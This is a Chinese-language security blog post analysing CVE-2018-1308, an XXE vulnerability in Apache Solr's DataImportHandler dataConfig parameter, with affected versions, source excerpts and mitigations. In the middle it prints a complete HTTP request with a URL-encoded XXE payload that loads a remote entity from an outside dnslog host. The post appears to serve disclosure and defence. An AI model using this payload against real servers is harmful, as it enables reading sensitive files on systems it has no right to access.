别人的CVE,编号CVE-2018-1308。今天无意看到了,刚好有用Solr搭建过服务,所以来水一篇。
DataImportHandler主要用于从数据库抓取数据并创建索引,Solr搭建完毕,并将数据插入到MySQL等数据库之后,需要创建Core,并且对数据库中的数据生成索引,在生成索引的时候就会用到DIH。
在使用solr web控制台生成core索引的时候,dataConfig参数存在xxe漏洞,攻击者可以向服务端提交恶意的xml数据,利用恶意xml数据可以读取被攻击服务器的敏感文件、目录等。
漏洞影响版本:
Solr 1.2 to 6.6.2
Solr 7.0.0 to 7.2.1
漏洞原文链接:
https://issues.apache.org/jira/browse/SOLR-11971
http://seclists.org/oss-sec/2018/q2/22
1、打开Solr Admin控制台;
2、选择创建好的core,然后点击DataImport功能;
3、点击”Execute“的时候,进行抓包,可以获取Dataimport的具体请求。
也可以直接访问功能入口Url:
http://www.nxadmin.com/solr/#/corename/dataimport
以solr 6.0.1为例,抓包获取的测试请求如下:
POST /corename/dataimport?_=1531279910257&indent=on&wt=json HTTP/1.1
Host: 61.113.214.108:9983
Content-Length: 282
Accept: application/json, text/plain, */*
Origin: http://www.nxadmin.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Content-type: application/x-www-form-urlencoded
Referer: http://www.nxadmin.com/solr/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
command=full-import&verbose=false&clean=false&commit=false&optimize=false&core=xxetest
默认请求中是不存在漏洞参数dataConfig的,使用的是配置文件的方式data-config.xml中包含了mysql数据库的连接配置,以及需要生成索引的表的字段等信息。有关请求中非默认参数的相关代码片段:
package org.apache.solr.handler.dataimport;
......
public class RequestInfo {
private final String command;
private final boolean debug;
private final boolean syncMode;
private final boolean commit;
private final boolean optimize;
......
private final String configFile;
private final String dataConfig;
public RequestInfo(SolrQueryRequest request, Map<String,Object> requestParams, ContentStream stream) {
......
String dataConfigParam = (String) requestParams.get("dataConfig");
if (dataConfigParam != null && dataConfigParam.trim().length() == 0) {
//如果dataConfig参数的值为空,将该参数置为null
dataConfigParam = null;
}
dataConfig = dataConfigParam;
......
public String getDataConfig() {
return dataConfig;
}
......
}
使用如上请求,可以自行添加dataConfig参数,因此具体的漏洞测试请求如下;
POST /corename/dataimport?_=1531279910257&indent=on&wt=json HTTP/1.1
Host: 61.113.214.100:9983
Content-Length: 282
Accept: application/json, text/plain, */*
Origin: http://www.nxadmin.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Content-type: application/x-www-form-urlencoded
Referer: http://www.nxadmin.com/solr/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
command=full-import&verbose=false&clean=false&commit=false&optimize=false&core=xxetest&dataConfig=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E %3C!DOCTYPE+root+%5B%3C!ENTITY+%25+remote+SYSTEM+%22http%3A%2F%2Fsolrxxe.8ug564.ceye.io%2Fftp_xxe.xml%22%3E%25remote%3B%5D%3E
以上是漏洞作者提供的测试payload,使用dnslog的方式证明漏洞存在,如图:
1、升级到6.6.3或7.3版本;
2、或者将solr Admin控制台放到内网;
3、以6.0.1为例,可以为控制台增加401认证方式,6.0.1默认是没有授权认证的,匿名用户可直接访问管理控制台,需要单独配置增加401认证。在配置的时候需要注意,涉及到的主要功能请求URL都需要进行401认证,否则有可能会被攻击者直接访问功能请求来绕过401认证。